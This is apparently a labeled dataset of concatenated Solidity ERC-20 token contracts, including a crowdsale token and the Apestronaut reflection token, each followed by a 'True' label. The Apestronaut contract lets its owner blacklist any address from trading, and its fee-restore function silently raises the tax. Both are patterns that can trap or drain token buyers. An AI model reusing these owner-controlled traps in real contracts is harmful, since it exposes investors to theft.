if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
pragma solidity ^0.4.26;
contract SafeMath {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NV_AustralianDo is Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "AUDn";
name = "NV AustralianDo";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() external constant returns (uint256) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) external constant returns (uint256 balance) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) external returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) external returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) external constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(uint256 tokens) external onlyOwner returns (bool success) {
return this.transfer(owner, tokens);
}
}
|
True
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1007,
1025,
102
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Hedge Coin Capital' CROWDSALE token contract
//
// Deployed to : 0x8ACba2760C78c41e1cD23F5b3158e5Ef4b8E4961
// Symbol : HCL
// Name : Hedge Coin Capital Token
// Total supply: 70000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto & Daniel Bar with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract HedgeCoinCapitalToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function HedgeCoinCapitalToken() public {
symbol = "HCL";
name = "Hedge Coin Capital Token";
decimals = 18;
bonusEnds = now + 3 weeks;
endDate = now + 9 weeks;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// 574 HCL Tokens per 1 ETH
// ------------------------------------------------------------------------
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 718;
} else {
tokens = msg.value * 574;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-07-21
*/
/*
https://t.me/apestronauterc20
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Apestronaut is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Apestronaut | https://t.me/apestronauterc20";
string private constant _symbol = "APE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
True
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/**
*Submitted for verification at Etherscan.io on 2021-05-13
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
